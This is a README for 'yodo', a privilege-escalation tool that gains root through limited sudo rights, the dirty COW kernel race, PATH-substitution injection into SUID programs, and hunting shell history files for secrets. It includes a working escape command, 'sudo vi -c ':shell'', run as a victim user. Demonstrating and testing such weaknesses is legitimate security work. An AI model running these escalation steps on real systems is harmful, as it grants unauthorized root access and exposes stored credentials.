# yodo
This tool proves how easy it is to become root via limited sudo permissions, via dirty COW or using Pa(th)zuzu.
dirty COW : exploits a race condition in the implementation of the copy-on-write mechanism
Link : https://dirtycow.ninja
Pa(th)zuzu : Checks for PATH substitution vulnerabilities, logs the commands executed by the vulnerable executables and injects commands with the permissions of the owner of the process (SUID)
Link : https://github.com/ShotokanZH/Pa-th-zuzu
# Extra features
-
VSP : checks if the user is able to overwrite a sudo-enabled command with his own
History : checks for * history (like bash_history) files. You could be lucky!
b3 : tries to substitute commands that has root privileges [sudo -l >>> User may run the following commands ... (root) NOPASSWD: /path/to/script]
Example:
If a user has sudo privileges only on vi, he could become root by runnuing this command: sudo vi -c ':shell'
b3rito@victim ~/Desktop $ sudo vi -c ':shell'
